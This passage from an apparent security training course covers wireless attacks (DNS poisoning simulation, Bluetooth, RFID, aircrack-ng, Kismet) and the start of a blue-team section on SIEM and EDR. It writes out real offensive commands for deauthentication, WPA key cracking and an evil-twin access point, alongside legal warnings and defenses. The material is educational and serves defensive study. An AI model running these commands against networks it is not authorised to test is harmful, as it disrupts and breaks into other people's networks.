ettercap = EttercapDemo()
ettercap.demonstrate()

6.6 DNS Poisoning

DNS Poisoning (DNS cache poisoning) involves injecting false DNS records into a DNS resolver’s cache, causing it to return an attacker-controlled IP address for a legitimate domain.

Example

class DNSPoisoning:
    """DNS poisoning demonstration"""

    def __init__(self):
        self.dns_records = {
            "bank.com": "203.0.113.10",
            "facebook.com": "157.240.1.35",
            "google.com": "142.250.190.46"
        }
        self.attacker_ip = "192.168.1.100"
        self.dns_cache = {}

    def query_dns(self, domain):
        """Simulate DNS query"""
        if domain in self.dns_cache:
            print(f"📨 Cache hit: {domain} -> {self.dns_cache[domain]}")
            return self.dns_cache[domain]
        elif domain in self.dns_records:
            print(f"📨 Cache miss: {domain} -> {self.dns_records[domain]}")
            self.dns_cache[domain] = self.dns_records[domain]
            return self.dns_records[domain]
        else:
            print(f"❌ Domain not found: {domain}")
            return None

    def poison_cache(self, domain):
        """Poison DNS cache"""
        print(f"\n💉 Poisoning DNS cache for {domain}")
        self.dns_cache[domain] = self.attacker_ip
        print(f"   ✅ {domain} now resolves to {self.attacker_ip}")

    def simulate_attack(self):
        """Simulate DNS poisoning"""
        print("=== DNS Poisoning Attack Simulation ===\n")

        print("1️⃣ Normal Query:")
        self.query_dns("bank.com")

        print("\n2️⃣ Attacker Poisons Cache:")
        self.poison_cache("bank.com")

        print("\n3️⃣ Victim Queries Bank:")
        ip = self.query_dns("bank.com")
        print(f"   ❌ Victim is redirected to {ip} (attacker's server)")

        print("\n4️⃣ Attacker Harvests Credentials:")
        print("   📄 Serving fake bank login page")
        print("   🔑 Captured credentials:")
        print("      Username: john_doe")
        print("      Password: secret123")

        print("\n5️⃣ Attacker Redirects to Legitimate Bank:")
        print("   🔄 After stealing credentials, user is redirected to real bank")
        print("   ✅ User doesn't realize anything happened")

        print("\n📌 Real-World Impact:")
        print("   - Banking credential theft")
        print("   - Malware distribution")
        print("   - Phishing attacks")
        print("   - Data theft")

# Example
dns_poison = DNSPoisoning()
dns_poison.simulate_attack()

Real-world Impact

class DNSImpact:
    """Real-world DNS poisoning impact"""

    def __init__(self):
        self.scenarios = {
            "Banking Theft": {
                "description": "Redirect banking traffic to phishing site",
                "impact": "Financial loss",
                "example": "Customer loses $10,000"
            },
            "Malware Distribution": {
                "description": "Redirect downloads to malicious files",
                "impact": "System compromise",
                "example": "Drive-by downloads"
            },
            "Data Theft": {
                "description": "Capture sensitive information",
                "impact": "Privacy breach",
                "example": "Credentials, PII stolen"
            },
            "Domain Hijacking": {
                "description": "Take control of domain",
                "impact": "Brand damage",
                "example": "Complete website takeover"
            }
        }

    def display_scenarios(self):
        """Display real-world scenarios"""
        print("=== DNS Poisoning: Real-World Impact ===\n")

        for scenario, info in self.scenarios.items():
            print(f"🔴 {scenario}")
            print(f"   📌 {info['description']}")
            print(f"   💥 Impact: {info['impact']}")
            print(f"   📊 Example: {info['example']}")
            print()

    def display_defenses(self):
        """Display defenses against DNS poisoning"""
        print("=== Defenses Against DNS Poisoning ===\n")

        defenses = [
            "DNSSEC - Digital signatures for DNS responses",
            "DNS over HTTPS (DoH) - Encrypt DNS queries",
            "DNS over TLS (DoT) - Encrypt DNS over TLS",
            "Local DNS caching with validation",
            "Network monitoring for DNS anomalies"
        ]

        for defense in defenses:
            print(f"🛡️ {defense}")

# Example
dns_impact = DNSImpact()
dns_impact.display_scenarios()
dns_impact.display_defenses()

6.7 Bluetooth & RFID Attacks (Basic Idea)

6.7.1 Bluetooth

class BluetoothAttacks:
    """Bluetooth security threats"""

    def __init__(self):
        self.bluetooth_attacks = {
            "Bluejacking": {
                "description": "Sending unsolicited messages to Bluetooth devices",
                "risk": "Annoyance, social engineering",
                "example": "Sending spam messages to nearby phones"
            },
            "Bluesnarfing": {
                "description": "Unauthorized data theft from Bluetooth devices",
                "risk": "Data theft, privacy violation",
                "example": "Stealing contacts and calendar entries"
            },
            "Blueborne": {
                "description": "RCE vulnerability in Bluetooth stacks (2017)",
                "risk": "System compromise",
                "example": "Taking control of millions of devices"
            },
            "BLE Attacks": {
                "description": "Attacks on Bluetooth Low Energy devices",
                "risk": "Device compromise",
                "example": "Hacking smart locks and wearables"
            }
        }

    def display_attacks(self):
        """Display Bluetooth attacks"""
        print("=== Bluetooth Security Threats ===\n")
        for attack, info in self.bluetooth_attacks.items():
            print(f"🔴 {attack}")
            print(f"   📌 {info['description']}")
            print(f"   ⚠️ Risk: {info['risk']}")
            print(f"   📊 Example: {info['example']}")
            print()

    def display_defenses(self):
        """Display Bluetooth defenses"""
        print("=== Bluetooth Security Best Practices ===\n")

        defenses = [
            "Turn off Bluetooth when not in use",
            "Keep devices in non-discoverable mode",
            "Update Bluetooth firmware regularly",
            "Use strong pairing codes",
            "Avoid pairing with unknown devices",
            "Install security updates promptly"
        ]

        for defense in defenses:
            print(f"🛡️ {defense}")

# Example
bluetooth = BluetoothAttacks()
bluetooth.display_attacks()
bluetooth.display_defenses()

6.7.2 RFID

class RFIDAttacks:
    """RFID security threats"""

    def __init__(self):
        self.rfid_attacks = {
            "Card Cloning": {
                "description": "Copying RFID/NFC card data",
                "risk": "Unauthorized access",
                "example": "Cloning building access cards"
            },
            "Skimming": {
                "description": "Reading RFID cards without contact",
                "risk": "Card data theft",
                "example": "Stealing payment card information"
            },
            "Relay Attacks": {
                "description": "Relaying RFID signals to extend range",
                "risk": "Unauthorized access",
                "example": "Stealing a car through relay attack"
            },
            "UHF RFID": {
                "description": "Attacks on UHF RFID systems",
                "risk": "Inventory manipulation",
                "example": "Altering supply chain data"
            }
        }

    def display_attacks(self):
        """Display RFID attacks"""
        print("=== RFID Security Threats ===\n")
        for attack, info in self.rfid_attacks.items():
            print(f"🔴 {attack}")
            print(f"   📌 {info['description']}")
            print(f"   ⚠️ Risk: {info['risk']}")
            print(f"   📊 Example: {info['example']}")
            print()

    def display_defenses(self):
        """Display RFID defenses"""
        print("=== RFID Security Best Practices ===\n")

        defenses = [
            "Use RFID-blocking wallets and sleeves",
            "Implement strong encryption on RFID systems",
            "Use authentication protocols",
            "Regularly audit access logs",
            "Implement multi-factor authentication",
            "Use short-range readers"
        ]

        for defense in defenses:
            print(f"🛡️ {defense}")

# Example
rfid = RFIDAttacks()
rfid.display_attacks()
rfid.display_defenses()

6.8 Wireless Tools (Practical Understanding)

6.8.1 Aircrack-ng Suite

class AircrackSuite:
    """Aircrack-ng tool suite"""

    def __init__(self):
        self.tools = {
            "airmon-ng": {
                "purpose": "Interface management",
                "usage": "Enables monitor mode",
                "command": "airmon-ng start wlan0"
            },
            "airodump-ng": {
                "purpose": "Network discovery",
                "usage": "Captures wireless traffic",
                "command": "airodump-ng -c 6 -w capture wlan0mon"
            },
            "aireplay-ng": {
                "purpose": "Packet injection",
                "usage": "Deauthentication attacks",
                "command": "aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon"
            },
            "aircrack-ng": {
                "purpose": "Password cracking",
                "usage": "Cracks WEP/WPA keys",
                "command": "aircrack-ng -w wordlist.txt capture-01.cap"
            },
            "airbase-ng": {
                "purpose": "Evil twin attacks",
                "usage": "Creates rogue AP",
                "command": "airbase-ng -e Free_WiFi wlan0mon"
            }
        }

    def display_tools(self):
        """Display Aircrack-ng tools"""
        print("=== Aircrack-ng Tool Suite ===\n")
        for tool, info in self.tools.items():
            print(f"🔹 {tool}")
            print(f"   Purpose: {info['purpose']}")
            print(f"   Usage: {info['usage']}")
            print(f"   💻 {info['command']}")
            print()

# Example
aircrack_suite = AircrackSuite()
aircrack_suite.display_tools()

6.8.2 Kismet

class KismetTool:
    """Kismet wireless network detector"""

    def __init__(self):
        self.features = {
            "Network Discovery": "Detects all wireless networks in range",
            "Packet Sniffing": "Captures and logs wireless packets",
            "GPS Integration": "Maps networks geographically",
            "Visualization": "Shows network relationships",
            "Spectrum Analysis": "Analyzes RF spectrum"
        }

    def display_features(self):
        """Display Kismet features"""
        print("=== Kismet Wireless Network Detector ===\n")
        print("📡 Kismet is a wireless network detector, sniffer, and IDS\n")

        for feature, description in self.features.items():
            print(f"🔹 {feature}: {description}")

        print("\n💻 Example Usage:")
        print("   sudo kismet -c wlan0mon")
        print("   ✅ Web interface: http://127.0.0.1:2501")

# Example
kismet = KismetTool()
kismet.display_features()

6.8.3 Wireshark (Wireless)

class WiresharkWireless:
    """Wireshark for wireless analysis"""

    def __init__(self):
        self.wireless_features = {
            "802.11 Frame Analysis": "Analyze beacon, probe, and data frames",
            "Radio Tap Header": "View signal strength and channel information",
            "Security Analysis": "Detect WEP, WPA, and WPA3 issues",
            "Traffic Analysis": "Analyze network patterns"
        }

        self.filters = {
            "Beacon Frames": "wlan.fc.type_subtype == 8",
            "Probe Requests": "wlan.fc.type_subtype == 4",
            "Probe Responses": "wlan.fc.type_subtype == 5",
            "Authentication": "wlan.fc.type_subtype == 11",
            "Deauthentication": "wlan.fc.type_subtype == 12",
            "EAPOL (4-Way)": "wlan.fc.type_subtype == 8 && eapol"
        }

    def display_features(self):
        """Display Wireshark wireless features"""
        print("=== Wireshark Wireless Analysis ===\n")

        for feature, description in self.wireless_features.items():
            print(f"🔹 {feature}: {description}")

        print("\n📊 Useful Wireless Filters:")
        for filter_name, filter_str in self.filters.items():
            print(f"   {filter_name}: {filter_str}")

# Example
wireshark_wireless = WiresharkWireless()
wireshark_wireless.display_features()

6.9 Real Practice (SAFE + IMPORTANT)

6.9.1 Reality Check

class LegalReality:
    """Legal considerations for wireless testing"""

    def __init__(self):
        self.legal_framework = {
            "United States": "Computer Fraud and Abuse Act (CFAA)",
            "United Kingdom": "Computer Misuse Act 1990",
            "European Union": "General Data Protection Regulation (GDPR)",
            "Pakistan": "Prevention of Electronic Crimes Act (PECA)"
        }

    def display_legal(self):
        """Display legal framework"""
        print("=== Wireless Testing: Legal Framework ===\n")

        print("📋 Legal Implications:")
        print("   ⚠️ Unauthorized wireless testing is ILLEGAL")
        print("   ⚠️ Can result in criminal charges")
        print("   ⚠️ Can result in civil liability")
        print("   ⚠️ May violate computer crime laws\n")

        print("📋 Authorization Requirements:")
        print("   1. Written permission from network owner")
        print("   2. Clearly defined scope")
        print("   3. Time-limited authorization")
        print("   4. Compliance with local laws")

        print("\n📋 Ethical Considerations:")
        print("   - Never test networks you don't own")
        print("   - Don't capture personal data")
        print("   - Report responsibly")
        print("   - Protect findings")

        print("\n📋 Safe Practice:")
        print("   ✅ Use lab environments (VirtualBox/VMware)")
        print("   ✅ Use training platforms (TryHackMe, HTB)")
        print("   ✅ Use test networks you own")

# Example
legal = LegalReality()
legal.display_legal()

6.9.2 Wireless Reconnaissance: Mapping the Environment

Practical Example: Wireless Survey with Airodump-ng

# Step 1: Enable monitor mode
sudo airmon-ng start wlan0

# Step 2: Scan for networks
sudo airodump-ng wlan0mon

# Step 3: Focus on target network
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 -w survey wlan0mon

Practical Example: Visualising Wireless Data with Wigle

Wigle.net (Wireless Geographic Logging Engine) aggregates crowdsourced wireless network location data. Understanding Wigle is important for two reasons: it shows how much wireless data is publicly available, and it helps assess the exposure of an organization’s wireless infrastructure.

class WirelessSurvey:
    """Wireless reconnaissance demonstration"""

    def __init__(self):
        self.survey_data = {
            "access_points": [
                {"ssid": "Corporate_WiFi", "bssid": "AA:BB:CC:DD:EE:FF", "channel": 6, "signal": 85},
                {"ssid": "Guest_Network", "bssid": "11:22:33:44:55:66", "channel": 11, "signal": 75},
                {"ssid": "IoT_Devices", "bssid": "22:33:44:55:66:77", "channel": 1, "signal": 60}
            ],
            "clients": [
                {"mac": "33:44:55:66:77:88", "bssid": "AA:BB:CC:DD:EE:FF"},
                {"mac": "44:55:66:77:88:99", "bssid": "AA:BB:CC:DD:EE:FF"}
            ]
        }

    def display_survey(self):
        """Display wireless survey results"""
        print("=== Wireless Survey Results ===\n")

        print("📡 Access Points Found:")
        for ap in self.survey_data["access_points"]:
            print(f"   🎯 SSID: {ap['ssid']}")
            print(f"      BSSID: {ap['bssid']}")
            print(f"      Channel: {ap['channel']}")
            print(f"      Signal: {ap['signal']}%")
            print()

        print("📱 Connected Clients:")
        for client in self.survey_data["clients"]:
            print(f"   📱 MAC: {client['mac']}")
            print(f"      Connected to: {client['bssid']}")
            print()

    def security_analysis(self):
        """Analyze survey results"""
        print("=== Security Analysis ===\n")

        print("🔍 Observations:")
        print("   - Corporate Wi-Fi detected (potential target)")
        print("   - Guest network separated (good practice)")
        print("   - IoT devices on separate channel (segmentation)")

        print("\n⚠️ Recommendations:")
        print("   - Ensure Guest network is isolated from corporate")
        print("   - Use WPA3 for all networks")
        print("   - Monitor for rogue access points")
        print("   - Consider hiding SSID for corporate network")

# Example
survey = WirelessSurvey()
survey.display_survey()
survey.security_analysis()

6.9.3 WEP: Understanding a Completely Broken Protocol

WEP (Wired Equivalent Privacy) was the original wireless security protocol and is cryptographically broken to the point that any WEP-protected network can be compromised within minutes regardless of the password length.

class WEPAnalysis:
    """WEP protocol analysis"""

    def __init__(self):
        self.wep_weaknesses = {
            "IV Reuse": "24-bit IV provides only 16 million values, quickly reused",
            "Weak Encryption": "RC4 cipher with known weaknesses",
            "Static Keys": "No per-session key generation",
            "No Authentication": "No proper client authentication"
        }

    def explain_wep(self):
        """Explain WEP weaknesses"""
        print("=== WEP: A Completely Broken Protocol ===\n")

        print("📡 WEP was introduced in 1999")
        print("🔴 It is COMPLETELY BREAKABLE")
        print("💻 Can be cracked in MINUTES\n")

        print("🔴 WEP Weaknesses:")
        for weakness, description in self.wep_weaknesses.items():
            print(f"   - {weakness}: {description}")

        print("\n💥 Why WEP is Broken:")
        print("   1. 24-bit IV is too short (reused within hours)")
        print("   2. RC4 cipher is vulnerable")
        print("   3. Weak key generation")
        print("   4. No message integrity")

        print("\n📊 Real-World Impact:")
        print("   - WEP networks can be cracked in 2-10 minutes")
        print("   - Attackers can decrypt all traffic")
        print("   - Attackers can inject malicious traffic")
        print("   - Attackers can impersonate clients")

        print("\n📌 WEP was deprecated in 2004")
        print("   ✅ Use WPA2 or WPA3 instead")

# Example
wep = WEPAnalysis()
wep.explain_wep()

6.9.4 Bluetooth Security

class BluetoothSecurity:
    """Bluetooth security analysis"""

    def __init__(self):
        self.bluetooth_versions = {
            "BR/EDR": "Classic Bluetooth (Basic Rate/Enhanced Data Rate)",
            "BLE": "Bluetooth Low Energy (Energy-efficient)",
            "5.0+": "Extended range, higher speed"
        }

        self.attacks = {
            "Bluejacking": "Sending unsolicited messages",
            "Bluesnarfing": "Stealing data from devices",
            "Blueborne": "Remote code execution (2017)",
            "KNOB": "Key negotiation downgrade attack"
        }

    def display_security(self):
        """Display Bluetooth security"""
        print("=== Bluetooth Security Analysis ===\n")

        print("📡 Bluetooth Versions:")
        for version, description in self.bluetooth_versions.items():
            print(f"   - {version}: {description}")

        print("\n🔴 Bluetooth Attacks:")
        for attack, description in self.attacks.items():
            print(f"   - {attack}: {description}")

        print("\n🛡️ Bluetooth Defenses:")
        defenses = [
            "Turn off Bluetooth when not in use",
            "Keep devices in non-discoverable mode",
            "Update firmware regularly",
            "Use strong pairing codes",
            "Avoid pairing with unknown devices"
        ]
        for defense in defenses:
            print(f"   - {defense}")

        print("\n🔧 Bluetooth Tools:")
        print("   - hcitool: Device discovery")
        print("   - l2ping: Device connectivity")
        print("   - bluetoothctl: Device management")
        print("   - bettercap: Advanced attacks")

# Example
bluetooth_sec = BluetoothSecurity()
bluetooth_sec.display_security()

6.9.5 RFID Security

class RFIDSecurity:
    """RFID security analysis"""

    def __init__(self):
        self.rfid_frequencies = {
            "LF (125 kHz)": "Older access cards (EM4100, HID Prox)",
            "HF (13.56 MHz)": "MIFARE Classic, payment cards, passports",
            "UHF (860-960 MHz)": "Inventory tracking, supply chain"
        }

        self.attacks = {
            "Cloning": "Copying card data",
            "Replay": "Reusing captured signals",
            "Relay": "Extending reader range",
            "Skimming": "Reading without physical contact"
        }

    def display_security(self):
        """Display RFID security"""
        print("=== RFID Security Analysis ===\n")

        print("📡 RFID Frequency Types:")
        for frequency, description in self.rfid_frequencies.items():
            print(f"   - {frequency}: {description}")

        print("\n🔴 RFID Attacks:")
        for attack, description in self.attacks.items():
            print(f"   - {attack}: {description}")

        print("\n🛡️ RFID Defenses:")
        defenses = [
            "Use RFID-blocking wallets/sleeves",
            "Implement strong encryption",
            "Use authentication protocols",
            "Regularly audit access logs",
            "Use multi-factor authentication"
        ]
        for defense in defenses:
            print(f"   - {defense}")

        print("\n🔧 RFID Tools:")
        print("   - Proxmark3: Full RFID research platform")
        print("   - RFIDler: Software-defined RFID")
        print("   - NFC Tools: Mobile app for NFC")

# Example
rfid_sec = RFIDSecurity()
rfid_sec.display_security()

6.10 Defending Wireless Networks: Configuration and Architecture

6.10.1 Enterprise Wireless Security

class EnterpriseWireless:
    """Enterprise wireless security"""

    def __init__(self):
        self.authentication_methods = {
            "EAP-TLS": "Certificate-based authentication (most secure)",
            "PEAP": "Protected EAP (username/password with TLS tunnel)",
            "EAP-TTLS": "Tunneled TLS (similar to PEAP)",
            "EAP-FAST": "Flexible Authentication via Secure Tunneling"
        }

        self.security_controls = {
            "802.1X": "Port-based authentication",
            "RADIUS": "Centralized authentication",
            "WIDS": "Wireless Intrusion Detection System",
            "WIPS": "Wireless Intrusion Prevention System"
        }

    def display_security(self):
        """Display enterprise wireless security"""
        print("=== Enterprise Wireless Security ===\n")

        print("🔑 Authentication Methods:")
        for method, description in self.authentication_methods.items():
            print(f"   - {method}: {description}")

        print("\n🛡️ Security Controls:")
        for control, description in self.security_controls.items():
            print(f"   - {control}: {description}")

        print("\n🔧 Implementation Steps:")
        print("   1. Deploy RADIUS server")
        print("   2. Configure 802.1X")
        print("   3. Issue certificates (EAP-TLS)")
        print("   4. Deploy WIDS/WIPS")
        print("   5. Continuous monitoring")

# Example
enterprise = EnterpriseWireless()
enterprise.display_security()

6.10.2 Best Practices

class WirelessBestPractices:
    """Wireless security best practices"""

    def __init__(self):
        self.practices = {
            "Strong Passwords": {
                "description": "Use long, complex passphrases",
                "implementation": "Minimum 12 characters, mixed characters"
            },
            "Regular Updates": {
                "description": "Keep firmware and software updated",
                "implementation": "Monthly update schedule"
            },
            "Guest Isolation": {
                "description": "Separate guest from corporate networks",
                "implementation": "VLAN separation"
            },
            "Wireless IDS": {
                "description": "Monitor for rogue APs and attacks",
                "implementation": "Continuous monitoring"
            },
            "Rogue AP Detection": {
                "description": "Identify unauthorized access points",
                "implementation": "Regular scanning"
            },
            "WPS Disable": {
                "description": "Disable Wi-Fi Protected Setup",
                "implementation": "WPS is insecure"
            }
        }

    def display_practices(self):
        """Display best practices"""
        print("=== Wireless Security Best Practices ===\n")

        for practice, info in self.practices.items():
            print(f"🔹 {practice}")
            print(f"   📌 {info['description']}")
            print(f"   ✅ Implementation: {info['implementation']}")
            print()

# Example
best_practices = WirelessBestPractices()
best_practices.display_practices()

6.11 Certifications for Wireless Security

class WirelessCertifications:
    """Wireless security certifications"""

    def __init__(self):
        self.certifications = {
            "CWNA": {
                "full_name": "Certified Wireless Network Administrator",
                "level": "Foundation",
                "focus": "Wireless networking fundamentals",
                "vendor": "CWNP"
            },
            "CCNP Wireless": {
                "full_name": "Cisco Certified Network Professional Wireless",
                "level": "Professional",
                "focus": "Cisco wireless networking",
                "vendor": "Cisco"
            },
            "GCIH": {
                "full_name": "GIAC Certified Incident Handler",
                "level": "Advanced",
                "focus": "Incident response (wireless included)",
                "vendor": "GIAC/SANS"
            },
            "OSCP": {
                "full_name": "Offensive Security Certified Professional",
                "level": "Professional",
                "focus": "Penetration testing (wireless modules)",
                "vendor": "Offensive Security"
            }
        }

    def display_certifications(self):
        """Display wireless certifications"""
        print("=== Wireless Security Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert} - {info['full_name']}")
            print(f"   Level: {info['level']}")
            print(f"   Focus: {info['focus']}")
            print(f"   Vendor: {info['vendor']}")
            print()

        print("📌 Recommended Path:")
        print("   1. CWNA (Foundation)")
        print("   2. CCNP Wireless (Professional)")
        print("   3. OSCP or GCIH (Advanced)")
        print("\n   ✅ Combine with practical experience!")

# Example
wireless_certs = WirelessCertifications()
wireless_certs.display_certifications()

You have now completed Phase 6: Wireless & Network Security.

Key Topics Covered:

TopicKey Concepts
Wireless FundamentalsRF signals, Wi-Fi standards, SSID/BSSID, Beacon frames
WiFi SecurityWPA2, WPA3, 4-Way Handshake, KRACK
WiFi AttacksPassword cracking, Evil Twin, ARP Spoofing, DNS Poisoning
Wireless ToolsAircrack-ng, Kismet, Wireshark
Bluetooth SecurityBluejacking, Bluesnarfing, Blueborne
RFID SecurityCloning, Skimming, Relay attacks
Enterprise Security802.1X, RADIUS, WIDS/WIPS
Best PracticesStrong passwords, Updates, Guest isolation

Practical Examples Completed:

  • Wi-Fi connection process simulation
  • WPA2/WPA3 handshake analysis
  • WiFi password cracking simulation
  • Evil Twin attack demonstration
  • ARP spoofing and DNS poisoning simulation
  • Wireless survey and reconnaissance
  • Bluetooth and RFID threat analysis

PHASE 7: DEFENSIVE SECURITY (BLUE TEAM / SOC)

7.1 Monitoring & Analysis

7.1.1 SIEM Tools

SIEM (Security Information and Event Management) is a comprehensive security solution that provides real-time analysis of security alerts generated by applications and network hardware. It aggregates data from multiple sources, correlates events, and provides actionable intelligence to security teams.

What SIEM Does:

FunctionDescription
Data AggregationCollects logs from multiple sources
NormalizationStandardizes data formats
CorrelationLinks related events across sources
AlertingGenerates alerts for suspicious activity
DashboardsVisualizes security data
ReportingCreates compliance and incident reports

How SIEM Works:

  1. Data Collection: Logs from firewalls, servers, applications, endpoints
  2. Normalization: Converts different log formats to a common schema
  3. Correlation: Identifies relationships between events
  4. Analysis: Detects patterns and anomalies
  5. Alerting: Notifies security team of potential threats
  6. Response: Triggers automated or manual remediation
class SIEMConcepts:
    """SIEM (Security Information and Event Management) concepts"""

    def __init__(self):
        self.sources = {
            "Firewalls": "Network traffic logs",
            "Servers": "System and application logs",
            "Endpoints": "EDR and antivirus logs",
            "Applications": "Web and database logs",
            "Network Devices": "Router and switch logs",
            "Identity Providers": "Authentication logs"
        }

        self.correlation_rules = [
            "Multiple failed logins followed by successful login",
            "Unusual data transfer volumes",
            "Access attempts to sensitive resources",
            "Privilege escalation events",
            "Malware detection alerts"
        ]

    def display_architecture(self):
        """Display SIEM architecture"""
        print("=== SIEM Architecture ===\n")

        print("📊 Data Flow:")
        print("   1. Data Sources → Log Collection")
        print("   2. Log Collection → Normalization")
        print("   3. Normalization → Correlation Engine")
        print("   4. Correlation Engine → Alerts")
        print("   5. Alerts → SOC Team")

        print("\n📋 Data Sources:")
        for source, description in self.sources.items():
            print(f"   - {source}: {description}")

        print("\n🔍 Correlation Example:")
        print("   Event A: 10 failed logins from IP X")
        print("   Event B: 1 successful login from IP X")
        print("   Event C: Data transfer to unknown IP")
        print("   ✅ Correlation: Brute force attack detected!")

    def display_alert_workflow(self):
        """Display alert workflow"""
        print("\n=== SIEM Alert Workflow ===\n")

        print("1️⃣ Data Ingestion:")
        print("   - Logs collected from all sources")
        print("   - 10,000+ events per second")

        print("\n2️⃣ Normalization:")
        print("   - Standardized format")
        print("   - Common schema applied")

        print("\n3️⃣ Correlation:")
        print("   - Event relationships identified")
        print("   - Patterns detected")

        print("\n4️⃣ Alert Generation:")
        print("   - Rule matched")
        print("   - Alert severity assigned")

        print("\n5️⃣ SOC Response:")
        print("   - Alert triage")
        print("   - Investigation initiated")
        print("   - Remediation actions")

# Example
siem = SIEMConcepts()
siem.display_architecture()
siem.display_alert_workflow()

Splunk

Splunk is the leading enterprise SIEM platform. It ingests massive volumes of machine data, indexes it, and makes it searchable in real-time. Splunk is widely used in large organizations for security monitoring, IT operations, and business analytics.

Key Features:

FeatureDescription
Search Processing Language (SPL)Powerful query language for searching logs
DashboardsReal-time visualizations and reports
AlertsAutomated alerting based on conditions
Data EnrichmentAdds context to events
Machine LearningAnomaly detection and threat intelligence
SIEM IntegrationSecurity-specific features (Enterprise Security)

Splunk Search Language (SPL) Examples:

class SplunkDemo:
    """Splunk SIEM platform demonstration"""

    def __init__(self):
        self.spl_queries = {
            "Failed Logins": 'index=security sourcetype=WinEventLog:Security EventCode=4625',
            "Successful Logins": 'index=security sourcetype=WinEventLog:Security EventCode=4624',
            "Privilege Escalation": 'index=security EventCode=4672',
            "Process Creation": 'index=security sourcetype=WinEventLog:Security EventCode=4688',
            "Network Connections": 'index=firewall action=allow'
        }

        self.spl_functions = {
            "stats": "Calculate statistics",
            "table": "Display specific fields",
            "timechart": "Chart over time",
            "search": "Filter events",
            "eval": "Calculate new fields",
            "lookup": "Add external data",
            "join": "Combine search results"
        }

    def display_spl_examples(self):
        """Display SPL query examples"""
        print("=== Splunk SPL Examples ===\n")

        print("📊 Common SPL Queries:")
        for query_name, query in self.spl_queries.items():
            print(f"   {query_name}: {query}")

        print("\n🔧 SPL Commands:")
        for command, description in self.spl_functions.items():
            print(f"   - {command}: {description}")

        print("\n💻 Example SPL Query:")
        print("""   index=security sourcetype=WinEventLog:Security EventCode=4625
   | stats count by src_ip, user
   | where count > 10
   | table src_ip, user, count
   | sort - count""")

        print("\n📌 Query Breakdown:")
        print("   1. Search: index=security sourcetype=WinEventLog:Security EventCode=4625")
        print("   2. Stats: stats count by src_ip, user")
        print("   3. Filter: where count > 10")
        print("   4. Display: table src_ip, user, count")
        print("   5. Sort: sort - count")

    def display_dashboard_example(self):
        """Display dashboard example"""
        print("\n=== Splunk Dashboard Example ===\n")

        print("📊 Security Operations Dashboard:")
        print("   Panel 1: Failed Logins Over Time")
        print("   Panel 2: Top Attack Sources")
        print("   Panel 3: Successful vs Failed Login Ratio")
        print("   Panel 4: User Account Lockouts")
        print("   Panel 5: Privilege Escalation Events")

        print("\n🔴 Alert Examples:")
        print("   - Alert: Multiple Failed Logins")
        print("     Condition: > 10 failed logins in 5 minutes")
        print("     Action: Email to SOC team")
        print("   - Alert: Unusual Data Transfer")
        print("     Condition: > 100MB outbound in 1 hour")
        print("     Action: Block IP and alert")

# Example
splunk = SplunkDemo()
splunk.display_spl_examples()
splunk.display_dashboard_example()

Elastic Stack (ELK)

Elastic Stack (formerly ELK Stack) is an open-source SIEM platform composed of:

ComponentPurpose
ElasticsearchStorage and indexing engine
LogstashData ingestion and transformation
KibanaVisualization and dashboards
BeatsLightweight data shippers
class ElasticStack:
    """Elastic Stack SIEM platform"""

    def __init__(self):
        self.components = {
            "Elasticsearch": {
                "purpose": "Storage and indexing",
                "capabilities": "Fast search, distributed, scalable"
            },
            "Logstash": {
                "purpose": "Data ingestion",
                "capabilities": "Parsing, filtering, transformation"
            },
            "Kibana": {
                "purpose": "Visualization",
                "capabilities": "Dashboards, charts, maps"
            },
            "Beats": {
                "purpose": "Data collection",
                "capabilities": "Lightweight agents, single-purpose shippers"
            }
        }

    def display_architecture(self):
        """Display Elastic Stack architecture"""
        print("=== Elastic Stack Architecture ===\n")

        print("📊 Data Flow:")
        print("   Data Sources → Beats → Logstash → Elasticsearch → Kibana")

        print("\n📋 Components:")
        for component, info in self.components.items():
            print(f"   - {component}: {info['purpose']}")
            print(f"     Capabilities: {info['capabilities']}")
            print()

        print("💻 Elasticsearch Query Example:")
        print("""   GET /security-logs-2024.01.15/_search
   {
     "query": {
       "bool": {
         "must": [
           {"match": {"event.code": "4625"}}
         ],
         "filter": [
           {"range": {"@timestamp": {"gte": "now-1h"}}}
         ]
       }
     },
     "aggs": {
       "top_sources": {
         "terms": {"field": "source.ip", "size": 10}
       }
     }
   }""")

# Example
elastic = ElasticStack()
elastic.display_architecture()

Microsoft Sentinel

Microsoft Sentinel is a cloud-native SIEM and SOAR (Security Orchestration, Automation, and Response) platform. It integrates deeply with Microsoft’s security ecosystem and Azure services.

class SentinelDemo:
    """Microsoft Sentinel SIEM platform"""

    def __init__(self):
        self.connectors = [
            "Azure Active Directory",
            "Microsoft 365",
            "Azure Activity Logs",
            "Windows Event Logs",
            "Firewall Logs",
            "Threat Intelligence Feeds"
        ]

        self.analytics_rules = [
            {"name": "Brute Force Attack", "condition": "10+ failed logins in 5 minutes"},
            {"name": "Data Exfiltration", "condition": "Large outbound transfers"},
            {"name": "Privilege Escalation", "condition": "Admin role assignment"},
            {"name": "Malware Detection", "condition": "Known malware signatures"}
        ]

        self.playbooks = {
            "Incident Response": "Automated containment and remediation",
            "User Compromise": "Reset password, block account",
            "Data Theft": "Block IP, investigate resources",
            "Ransomware": "Isolate endpoint, initiate backup restore"
        }

    def display_features(self):
        """Display Sentinel features"""
        print("=== Microsoft Sentinel Features ===\n")

        print("🔌 Data Connectors:")
        for connector in self.connectors:
            print(f"   - {connector}")

        print("\n📊 Analytics Rules:")
        for rule in self.analytics_rules:
            print(f"   - {rule['name']}: {rule['condition']}")

        print("\n🤖 Automation Playbooks:")
        for playbook, description in self.playbooks.items():
            print(f"   - {playbook}: {description}")

        print("\n🔍 UEBA (User and Entity Behavior Analytics):")
        print("   - Detects unusual user behavior")
        print("   - Identifies account compromises")
        print("   - Alerts on suspicious activities")

# Example
sentinel = SentinelDemo()
sentinel.display_features()

7.1.2 Endpoint Detection and Response (EDR)

Endpoint Detection and Response (EDR) is a security solution that continuously monitors endpoints (desktops, servers, mobile devices) for suspicious activity and provides the capability to respond to threats in real-time.

EDR Architecture:

ComponentDescription
AgentLightweight software on each endpoint
Kernel-level SensorsDeep visibility into system activity
Cloud ConsoleCentralized management and analysis
Data CollectionProcesses, files, network, registry
Behavioral AnalysisMachine learning and anomaly detection

EDR Capabilities:

CapabilityDescription
Process MonitoringTracks all running processes
File System MonitoringMonitors file creation, modification, deletion
Network MonitoringTracks network connections
Registry MonitoringDetects registry changes
Memory AnalysisDetects memory-based attacks
